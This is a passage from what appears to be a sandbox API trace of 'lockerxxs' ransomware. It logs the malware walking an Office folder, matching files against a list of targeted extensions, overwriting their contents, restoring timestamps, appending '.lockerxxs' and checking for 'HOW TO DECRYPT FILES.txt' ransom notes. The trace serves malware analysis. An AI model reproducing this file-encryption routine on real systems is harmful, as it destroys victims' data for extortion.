Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html." [0065.025] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.lockerxxs" [0065.026] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.026] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x858 [0065.026] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x52942450, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0065.026] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.026] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x832, lpOverlapped=0x0) returned 1 [0065.029] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html") returned="FormsMacroTemplate.html" [0065.029] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.029] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x832, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x832, lpOverlapped=0x0) returned 1 [0065.030] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.030] CloseHandle (hObject=0x98) returned 1 [0065.032] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html.lockerxxs")) returned 1 [0065.034] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46ff, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsPreviewTemplate.html", cAlternateFileName="FORMSP~1.HTM")) returned 1 [0065.034] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.034] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsPreviewTemplate.html") returned -1 [0065.034] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsPreviewTemplate.html") returned 1 [0065.034] lstrcmpiA (lpString1="", lpString2="FormsPreviewTemplate.html") returned -1 [0065.034] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html") returned="FormsMacroTemplate.html" [0065.034] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.034] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.034] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.034] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.035] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsPreviewTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.ems") returned 0 [0065.035] lstrlenA (lpString="*.ems") returned 5 [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.db") returned 0 [0065.035] lstrlenA (lpString="*.db") returned 4 [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.dbf") returned 0 [0065.035] lstrlenA (lpString="*.dbf") returned 5 [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.myox") returned 0 [0065.035] lstrlenA (lpString="*.myox") returned 6 [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.myo") returned 0 [0065.035] lstrlenA (lpString="*.myo") returned 5 [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qbw") returned 0 [0065.035] lstrlenA (lpString="*.qbw") returned 5 [0065.035] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qbb") returned 0 [0065.035] lstrlenA (lpString="*.qbb") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qbm") returned 0 [0065.036] lstrlenA (lpString="*.qbm") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qbo") returned 0 [0065.036] lstrlenA (lpString="*.qbo") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qbx") returned 0 [0065.036] lstrlenA (lpString="*.qbx") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qba") returned 0 [0065.036] lstrlenA (lpString="*.qba") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qby") returned 0 [0065.036] lstrlenA (lpString="*.qby") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qbj") returned 0 [0065.036] lstrlenA (lpString="*.qbj") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.ofx") returned 0 [0065.036] lstrlenA (lpString="*.ofx") returned 5 [0065.036] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.qif") returned 0 [0065.037] lstrlenA (lpString="*.qif") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.mye") returned 0 [0065.037] lstrlenA (lpString="*.mye") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.mbox") returned 0 [0065.037] lstrlenA (lpString="*.mbox") returned 6 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.eml") returned 0 [0065.037] lstrlenA (lpString="*.eml") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.pst") returned 0 [0065.037] lstrlenA (lpString="*.pst") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.ost") returned 0 [0065.037] lstrlenA (lpString="*.ost") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.idx") returned 0 [0065.037] lstrlenA (lpString="*.idx") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.dbx") returned 0 [0065.037] lstrlenA (lpString="*.dbx") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.sql") returned 0 [0065.037] lstrlenA (lpString="*.sql") returned 5 [0065.037] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.mdb") returned 0 [0065.038] lstrlenA (lpString="*.mdb") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.fdb") returned 0 [0065.038] lstrlenA (lpString="*.fdb") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.wab") returned 0 [0065.038] lstrlenA (lpString="*.wab") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.dat") returned 0 [0065.038] lstrlenA (lpString="*.dat") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.txt") returned 0 [0065.038] lstrlenA (lpString="*.txt") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.jpeg") returned 0 [0065.038] lstrlenA (lpString="*.jpeg") returned 6 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.jpg") returned 0 [0065.038] lstrlenA (lpString="*.jpg") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.png") returned 0 [0065.038] lstrlenA (lpString="*.png") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.php") returned 0 [0065.038] lstrlenA (lpString="*.php") returned 5 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.cs") returned 0 [0065.038] lstrlenA (lpString="*.cs") returned 4 [0065.038] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.cpp") returned 0 [0065.038] lstrlenA (lpString="*.cpp") returned 5 [0065.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.rar") returned 0 [0065.039] lstrlenA (lpString="*.rar") returned 5 [0065.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.zip") returned 0 [0065.039] lstrlenA (lpString="*.zip") returned 5 [0065.039] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", pszSpec="*.html") returned 1 [0065.039] lstrlenA (lpString="*.html") returned 6 [0065.039] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" [0065.039] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" [0065.039] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html." [0065.039] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.lockerxxs" [0065.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.040] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x46ff [0065.040] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5298e710, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0065.040] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.040] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x46d9, lpOverlapped=0x0) returned 1 [0065.043] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html") returned="FormsPreviewTemplate.html" [0065.043] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.043] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x46d9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x46d9, lpOverlapped=0x0) returned 1 [0065.043] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.043] CloseHandle (hObject=0x98) returned 1 [0065.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html.lockerxxs")) returned 1 [0065.053] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x797dd200, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x797dd200, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x4709, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsPreviewTemplateRTL.html", cAlternateFileName="FORMSP~3.HTM")) returned 1 [0065.053] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsPreviewTemplateRTL.html") returned -1 [0065.053] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsPreviewTemplateRTL.html") returned 1 [0065.053] lstrcmpiA (lpString1="", lpString2="FormsPreviewTemplateRTL.html") returned -1 [0065.053] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html") returned="FormsPreviewTemplate.html" [0065.053] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.053] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.053] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.053] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.053] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsPreviewTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.ems") returned 0 [0065.054] lstrlenA (lpString="*.ems") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.db") returned 0 [0065.054] lstrlenA (lpString="*.db") returned 4 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.dbf") returned 0 [0065.054] lstrlenA (lpString="*.dbf") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.myox") returned 0 [0065.054] lstrlenA (lpString="*.myox") returned 6 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.myo") returned 0 [0065.054] lstrlenA (lpString="*.myo") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qbw") returned 0 [0065.054] lstrlenA (lpString="*.qbw") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qbb") returned 0 [0065.054] lstrlenA (lpString="*.qbb") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qbm") returned 0 [0065.054] lstrlenA (lpString="*.qbm") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qbo") returned 0 [0065.054] lstrlenA (lpString="*.qbo") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qbx") returned 0 [0065.054] lstrlenA (lpString="*.qbx") returned 5 [0065.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qba") returned 0 [0065.055] lstrlenA (lpString="*.qba") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qby") returned 0 [0065.055] lstrlenA (lpString="*.qby") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qbj") returned 0 [0065.055] lstrlenA (lpString="*.qbj") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.ofx") returned 0 [0065.055] lstrlenA (lpString="*.ofx") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.qif") returned 0 [0065.055] lstrlenA (lpString="*.qif") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.mye") returned 0 [0065.055] lstrlenA (lpString="*.mye") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.mbox") returned 0 [0065.055] lstrlenA (lpString="*.mbox") returned 6 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.eml") returned 0 [0065.055] lstrlenA (lpString="*.eml") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.pst") returned 0 [0065.055] lstrlenA (lpString="*.pst") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 